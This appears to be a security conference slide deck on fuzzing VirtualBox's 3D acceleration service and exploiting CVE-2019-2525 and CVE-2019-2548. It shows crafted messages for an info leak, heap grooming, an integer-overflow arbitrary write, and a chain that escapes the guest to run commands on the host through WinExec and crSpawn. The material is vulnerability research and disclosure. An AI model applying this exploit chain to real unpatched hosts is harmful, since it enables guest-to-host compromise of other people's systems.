3D Accelerated Exploitation

Jason Matthyser (@pleasew8t)
3D Accelerated Exploitation

- Jason Matthyser (@pleasew8t)
- MWR InfoSecurity (South Africa)
- Penetration testing, red teaming, cloud
- Part-time vulnerability research
What is 3D Acceleration?

• Makes use of Chromium
  - Not the browser
  - Abstraction layer over OpenGL
  - Accepts messages, defining graphics operations

• Chromium can be used as:
  - Standalone TCP server
  - Embedded software component
Guest Additions and You

- Bunch of services
  - 3D Acceleration – “VBoxSharedCrOpenGL”
- HGCM Protocol
  - `/dev/vboxuser`
  - `\VBoxGuest`
  - Accessible to unprivileged guest user
- svcCall
  - Functions that use HGCM parameters
  - (inner) functions
    - Buffer messages, configure, etc.
Enter the Fuzzer
Isolate the Fuzzing Entry Point

• VBoxSharedCrOpenGL.so
• Initialise the environment
  – crVBoxServerInit()
• Client actions:
  – Connect
    ▪ crVBoxServerAddClient(uint32_t u32ClientId)
  – Disconnect
    ▪ crVBoxServerRemoveClient(uint32_t u32ClientId)
  – Send Chromium messages
    ▪ crVBoxServerClientWrite(uint32_t u32ClientId, uint8_t *pBuffer, uint32_t cbBuffer)
Crafting Chromium Messages

```c
uint32_t crMessage[] = {
    CR_MESSAGE_OPCODES, // type
    0x00,
    0x01, // num opcodes
    CR_READPIXELS_OPCODE << 24, // opcode
    <opcode handler input>
};
```

```c
void crUnpackReadPixels()
{
    <read opcode handler input>
    cr_unpackDispatch.ReadPixels(<input>)
}
```

```c
void crUnpackExtend()
{
    <call opcode handler>
}
```

```c
void crServerDispatchReadPixels(<input>)
{
    <some moar logic>
}
```

```c
uint32_t crMessage[] = {
    CR_MESSAGE_OPCODES,
    0x00,
    0x01,
    CR_EXTEND_OPCODE << 24, // extended
    0x00,
    CR_GETATTRIBLOCATION_EXTEND_OPCODE // opcode
    <opcode handler input>
};
```

```c
void crUnpackExtendGetAttribLocation()
{
    <call opcode handler>
    ...
}
```

BUGS!
Crafting Chromium Messages

```c
uint32_t crMessage[] = {
    aaaaaaaaa, // type
    xxxxxxxxx,
    bbbbbbbb, // num opcodes
    cccccc, // opcode
    pppppppp,
    dddddddd, // extended opcode
    pppppppp,
    pppppppp,
    pppppppp,
    pppppppp,
    pppppppp,
    pppppppp
};
```

1) Message type
   aaaaaaaaa => CR_MESSAGE_OPCODES

2) Number of opcodes
   bbbbbbbb => fixed?

3) Opcode
   cccccc => check range!

4) Extended opcode
   dddddddd => check range!

5) Input
   pppppppp => target datatypes?

```c
int32_t crVBoxServerClientWrite(
    uint32_t u32ClientID,
    uint8_t *pBuffer,
    uint32_t cbBuffer
){...}
```
Fuzzer Ideas

• Little more than 550 opcodes
• State manipulation
  – Bugs have mostly been 1-dimensional
    ▪ Dying out (soon?)
  – Finally a use case for num_opcodes!
• AFL too slow
  – Initialisation takes time
    ▪ ~65ms
  – In-memory would be better
Compilation Notes

• Just point ./configure to AFL!
  # if you managed to get all of the dependencies to work
  $ CC=afl-gcc CXX=afl-g++ ./configure --disable-hardening

  # if you don’t want to go down that rabbit hole
  $ CC=afl-gcc CXX=afl-g++ ./configure --disable-hardening --disable-java --disable-docs --disable-...

• Definitely remove logging for debug builds!
  – “src/VBox/Runtime/VBox/log-vbox.cpp”
  – Comment out first call to RTLogCreate

```bash
... 
rc = -1; // RTLogCreate(...);
... 
```

OR

```bash
*/1 * * * * rm -rf ../../../harness/bin/2018-*
*/1 * * * * sleep 20 && rm -rf ../../../harness/bin/2018-*
*/1 * * * * sleep 40 && rm -rf ../../../harness/bin/2018-*
```
Offline (?) Exploitation

- Many reboots of “testing” something
- Annoying keyboard/clipboard thing + testing prod = sucks
- Does Chromium really need VirtualBox?

```c
// some code not running in a VM
int main() {
    /*
    load library, and things
    */
    pwn();
    pwn();
    pwn();
}
```

// VBoxSharedCrOpenGL.dll
**Become the VirtualBox**

- Create a standard interface!
- We only really need to connect/disconnect/call

<table>
<thead>
<tr>
<th>Interface</th>
<th>Host (libraries)</th>
<th>Guest (drivers)</th>
</tr>
</thead>
<tbody>
<tr>
<td>vbox3d::connect</td>
<td>VBoxServerAddClient</td>
<td>VBGLIOCHGCMCONNECT</td>
</tr>
<tr>
<td>vbox3d::disconnect</td>
<td>VBoxServerRemoveClient</td>
<td>VBGLIOCHGCMDISCONNECT</td>
</tr>
<tr>
<td>vbox3d::hgcm_call</td>
<td>svcCall</td>
<td>VBGLIOCHGCMCALL</td>
</tr>
</tbody>
</table>
Offline (?) Exploitation

Exploit Debug Libraries
* Load VBoxSharedCrOpenGL.dll
* Debugging with symbols

Exploit Prod Libraries
* Load VBoxSharedCrOpenGL.dll
* Update Offsets
* No more anti-debugger!

Turn VM on for first time
Heap Manipulation

- Buffered Chromium messages
- Operations:
  - Allocate arbitrary size,
  - Modify to a byte of granularity,
  - Execute/free
- More info:
  - svcGetBuffer
  - svcCall function IDs:
    - SHCRGL_GUEST_FN_WRITE_BUFFER
    - SHCRGL_GUEST_FN_WRITE_READ_BUFFERED

```
0:000> dt VBoxSharedCrOpenGL!CRVBOXSVCBUFFER_t
+0x000 uiId             : Uint4B
+0x004 uiSize           : Uint4B
+0x008 pData            : Ptr64 Void
+0x010 pNext            : Ptr64 _CRVBOXSVCBUFFER_t
+0x018 pPrev            : Ptr64 _CRVBOXSVCBUFFER_t
```

- OOB Read in `crUnpackExtendGetAttribLocation`
- `SET_XX(OFFSET)`
  - `crMemcpy(XX, cr_unpackData + OFFSET, 8)`
  - `return_ptr && writeback_ptr`
  - Returned to guest!
- Copy operation relative to `cr_unpackData`
- Leak 16 bytes!

```c
uint32_t crMessage[] = {
    CR_MESSAGE_OPCODES,
    0x00,
    0x01,
    CR_EXTEND_OPCODE << 24,
    packet_length,
    CR_GETATTRIBLOCATION_EXTEND_OPCODE,
    0x00,
    0x00,
    ...
};

void crUnpackExtendGetAttribLocation(void)
{
    int packet_length = READ_DATA(0, int);
    GLuint program = READ_DATA(8, GLuint);
    const char *name = DATA_POINTER(12, const char);
    SET_RETURN_PTR(packet_length-16);
    SET_WRITEBACK_PTR(packet_length-8);
    cr_unpackDispatch.GetAttribLocation(program, name);
}
```
ASLR Target – **CRClient**
- Represents active connection to Chromium

**currentContextInfo**
- pointer to `cr_server.MainContextInfo` in `VBoxSharedCrOpenGL.dll`
  - Global

```c
int32_t crVBoxServerAddClient(uint32_t u32ClientID)
{
    CRClient *newClient;
    ...
    newClient = (CRClient *) crCalloc(sizeof(CRClient));
    ...
    newClient->currentCtxInfo = &cr_server.MainContextInfo;
    ...
}
```
CVE-2019-2525 – Infoleak

- `sizeof(CRClient) == 0x9D0`
  - LFH Bucket => 0xA10

**Idea**
- Numerous connections
- Send malicious message
  - Mash X

```
packet_length - 16 = 0xA10 + 0x20 - 0x10
packet_length = 0xA36
```

```
0x00: CR_MESSAGE_OPCODES
0x04: 0x00
0x08: 0x01
0x0C: CR_EXTEND_OPCODE << 24
0x10: packet_length
0x14: CR_GETATTRIBLOCATION_EXTEND_OPCODE
0x9D0:
0xA10/0x00
0xA10:
0xA0:
Start of CRClient
0x20:
0x28:
pid | currentContextNumber
currentContextInfo
```

• Idea
  - Numerous connections
  - Send malicious message
    - Mash X
void crServerDispatchReadPixels( ... ) {
    ...
    else {
        CRMessageReadPixels *rp;
        uint32_t msg_len;

        if (bytes_per_row < 0 || bytes_per_row > UINT32_MAX / 8 || height > UINT32_MAX / 8)
            { crError("crServerDispatchReadPixels: parameters out of range"); return; }
        // [2] msg_len calculated with attacker-controlled values
        msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height;
        // [3] msg_len used to allocate memory
        rp = (CRMessageReadPixels *) crAlloc( msg_len );
        // [4] rp gets completely initialised using attacker-controlled values
        ...
    }
}
CVE-2019-2548 – Vulnerable Code

- **bytes_per_row**
  - greater than/equal to 0x00
  - smaller than (UINT32_MAX/8) 0x1FFFFFFF

- **height**
  - smaller than (UINT32_MAX/8) 0x1FFFFFFF

we want msg_len = 0x20 (overflow 0x18)
choose height = 0x08

```
msg_len = sizeof(*rp) + bytes_per_row*height
0x20 = 0x38 + bytes_per_row*0x08
```

// 0x20 => 0x100000020, because unsigned and all that
bytes_per_row = (0x100000020 - 0x38)/0x08
bytes_per_row = 0x1FFFFFFD
CVE-2019-2548 – Integer Overflow

- Integer overflow target – CRVBOXSVCBUFFER_t
  - Buffered Chromium messages
  - `sizeof(CRVBOXSVCBUFFER_t) = 0x20`
- OOB Write/Arbitrary Write
- Interesting members:
  - `uiId` – buffer reference
  - `uiSize` – defines buffered memory range (OOB)
  - `pData` – pointer to buffered message (Arbitrary)

```
[+0x000] uiId            : 0x10
[+0x004] uiSize          : 0x20
[+0x008] pData           : 0x10000
[+0x010] pNext           : 0x00
[+0x018] pPrev           : 0x00
```

(buffered chromium message)

-some indisputably important objects

```
pData + uiSize
pData + 0xFFFFFFFF
```

- overflow
- wraparound
- buffer overflow
- buffer underflow
- out of bound
- out of memory
- out of data
CVE-2019-2548 - Integer Overflow

// CRMessageReadPixels initialisation
rp->header.type = CR_MESSAGE_READ_PIXELS;
rp->width = width;
rp->height = height;
rp->bytes_per_row = bytes_per_row;
rp->stride = stride;
rp->format = format;
rp->type = type;
rp->alignment = alignment;
rp->skipRows = skipRows;
rp->skipPixels = skipPixels;
rp->rowLength = rowLength;
crMemcpy( &rp->pixels, pixels, sizeof(rp->pixels));
CVE-2019-2548 – Integer Overflow

```
0x00  | 0x08  | 0x10  | 0x18  | 0x20  | 0x28  | 0x30  | 0x38  | 0x40  | 0x48  | 0x50  | 0x58  |
empty memory

heap header
svcBuf->uiId  svcBuf->uiSize
svcBuf->pData
svcBuf->pNext
svcBuf->pPrev

rp->header
rp->width  rp->height
rp->bytes_per_row  rp->stride
rp->alignment  rp->skipRows
rp->skipPixels  rp->rowLength
rp->format  rp->type
rp->pixels
svcBuf->pData
svcBuf->pNext
svcBuf->pPrev
```

init rp
CVE-2019-2548 – Integer Overflow

• We overwrote:
  - svcBuf->uiId = 0xDEADBEEF
  - svcBuf->uiSize = 0xFFFFFFFF
• Partial control = OOB Write
• Write into service buffer close to chromium message
  - Use uiId to verify
  - Full control!

```plaintext
[+0x000] uiId              : 0xDEADBEEF
[+0x004] uiSize            : 0xFFFFFFFF
[+0x008] pData             : 0x10000
[+0x010] pNext             : 0x00
[+0x018] pPrev             : 0x00
```
CVE-2019-2548 – Integer Overflow

- Arbitrary Write:
  - Modify svcPartial buffer to write into svcFull
  - Adjust svcFull->uiSize for write size
  - Point svcFull->pData to destination
  - Modify svcFull

```
svcPartial->uiId | svcPartial->uiSize
-------------------
svcPartial->pData
svcPartial->pNext
svcPartial->pPrev
```

```
svcFull->uiId | svcFull->uiSize
-------------------
svcFull->pData
svcFull->pNext
svcFull->pPrev
```

`svcPartial->pData + svcPartial->uiSize`
Cross-Boundary Math
where are we?

• Base of VBoxSharedCrOpenGL.dll
• Arbitrary write
• Try two things:
  – Break out without shellcode
  – Avoid Kernel32.dll offset requirements
• Going to need:
  – Arbitrary read
  – Command execution primitive
• **cr_unpackDispatch**
• Called by opcode handlers
• Takes Chromium message values as arguments

---

<table>
<thead>
<tr>
<th>Opcode</th>
<th><code>cr_unpackDispatch</code></th>
<th>Signature</th>
<th>Target</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>CR_CREATECONTEXT_EXTEND_OPCODE</code></td>
<td>CreateContext</td>
<td>(const char *, GLint, GLint)</td>
<td><code>UINT WinExec(LPCSTR lpCmdLine, UINT uCmdShow);</code></td>
</tr>
<tr>
<td><code>CR_WINDOWCREATE_EXTEND_OPCODE</code></td>
<td>WindowCreate</td>
<td>(const char *, GLint)</td>
<td></td>
</tr>
</tbody>
</table>
void crUnpackExtendWindowCreate(void)
{
    char dpyName[DISPLAY_NAME_LEN];
    GLint visBits = READ_DATA(DISPLAY_NAME_LEN + 8, GLint);
    GLint retVal;

    READ_BYTES(dpyName, 8, DISPLAY_NAME_LEN);
    dpyName[DISPLAY_NAME_LEN - 1] = 0;

    SET_RETURN_PTR(DISPLAY_NAME_LEN + 12);
    SET_WRITEBACK_PTR(DISPLAY_NAME_LEN + 20);
    retVal = cr_unpackDispatch.WindowCreate(dpyName, visBits);
}

uint32_t crMessage = {
    CR_MESSAGE_OPCODES, 0x00,
    0x01,
    CR_EXTEND_OPCODE << 24,
    0x00,
    CR_WINDOWCREATE_EXTEND_OPCODE,
    "calc.exe",
    0x00,
    ..., 0x00,
    0x01
};

WinExec("calc.exe", 0x01);
Arbitrary Read

- **CRClient**
  - Certain operations buffer a response
  - Response read separately
  - `pHostBuffer` -> response content
  - `cbHostBuffer` -> response size

- **Leaked CRConnection + Arbitrary Write**
  - Fake “buffered responses”
  - Read arbitrary memory!
Leak CRClient Address

- **crVBoxServerClientGet**
  - Gets pointer to **CRClient** associated with u32ClientID
  - Writes that pointer to *ppClient
- Chromium messages get returned after execution!
  - ppClient = pointer to Chromium message === WIN!

```c
int32_t crVBoxServerClientGet(uint32_t u32ClientID, CRClient **ppClient)
{
    CRClient *pClient = NULL;
    pClient = crVBoxServerClientById(u32ClientID);
    ...
    *ppClient = pClient;
    return VINF_SUCCESS;
}
```
Leak CRClient Address

- DeleteFencesNV(GLsizei, const GLuint *)
  - GLsizei n
  - const GLuint* sure looks like a CRClient** to me
- DATA_PTR(OFFSET, TYPE)
  - Pointer to OFFSET from cr_unpackData
- Leak arbitrary CRClient address!

```c
void crUnpackExtendDeleteFencesNV(void)
{
    GLsizei n = READ_DATA( 8, GLsizei );
    const GLuint *fences = DATA_POINTER( 12, GLuint );
    cr_unpackDispatch.DeleteFencesNV( n, fences );
}
```

```c
uint32_t crMessage[] = {
    CR_MESSAGE_OPCODES, 0x00, 0x01,
    CR_EXTEND_OPCODE << 24, 0x00,
    CR_DELETEFENCESNV_EXTEND_OPCODE, u32ClientId, 0x00, 0x00
};
```
Leak CRConnection Address

- Use service buffer/Chromium message
  - svcFull->pData
    - somewhere before CRClient
  - svcFull->uiSize
    - just enough to read back CRClient content
- Use CR_NOP_OPCODE opcode
- Need address for message!
Leak CRConnection Address

- Connect and leak
  - Get initial CRClient address
  - Allocate CRClient until within 4 allocations
- Disconnect crClientLower
  - crClientLower free’d
- svcFull->pData
  - crClientLower
- svcFull->uiSize
  - (crClientHigher – crClientLower)+A10
- Write and Execute NOP message
Leak CRConnection Address

• After readback svcFull is free’d
  - Double Free 😞
    ▪ Before execution, allocate a bunch of buffers of size 0x9D0! 😊
  - Lose Arbitrary Write 😞
    ▪ After execution, repeat svcPartial OOB write technique 😊

• Using address of CRConnection
  - Manipulate pHostBuffer and cbHostBuffer using arbitrary write
  - Arbitrary read
crSpawn

- VBoxOGLhostcrutil.dll!crSpawn
- VBoxOGLhostcrutil.dll!crMemcpy imported by VBoxSharedCrOpenGL.dll
- Spawns a thing!
  - Signature – (const char *command, const char *argv[])
  - Windows – CreateProcess(NULL, newargv, ...)
  - Other – execvp(command, argv)
crSpawn

- `cr_unpackDispatch.BoundsInfoCR`
  - ( const CRrecti *bounds, const GLbyte *payload, ... )
- `crSpawn` will dereference payload as a pointer to `args` (on Windows)
  - *payload = pointer to argv[0]*
- Workaround:
  - Create `CRClient`
  - Get `CRClient` address and disconnect to free
  - Write `args` to `CRClient` address
    - `crClient` points to “calc.exe\0”
  - Add address to `crMessage`!

```c
uint32_t crMessage[] = {
  CR_MESSAGE_OPCODES, 0x00, 0x01,
  CR.BoundsInfoCR_OPCODE << 24,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  crClient & 0xFFFFFFFF // lower DWORD
  crClient >> 32        // upper DWORD
  0x00, 0x00, 0x00,
  ...}
```
Let it ride!

- Convert arbitrary write + Infoleak into arbitrary read
  - Attacked cr_unpackDispatch
  - Fake service buffers
- Obtained address of crSpawn
  - Using arbitrary read
- We haven’t:
  - Executed shellcode
  - Required `Kernel32.dll` addresses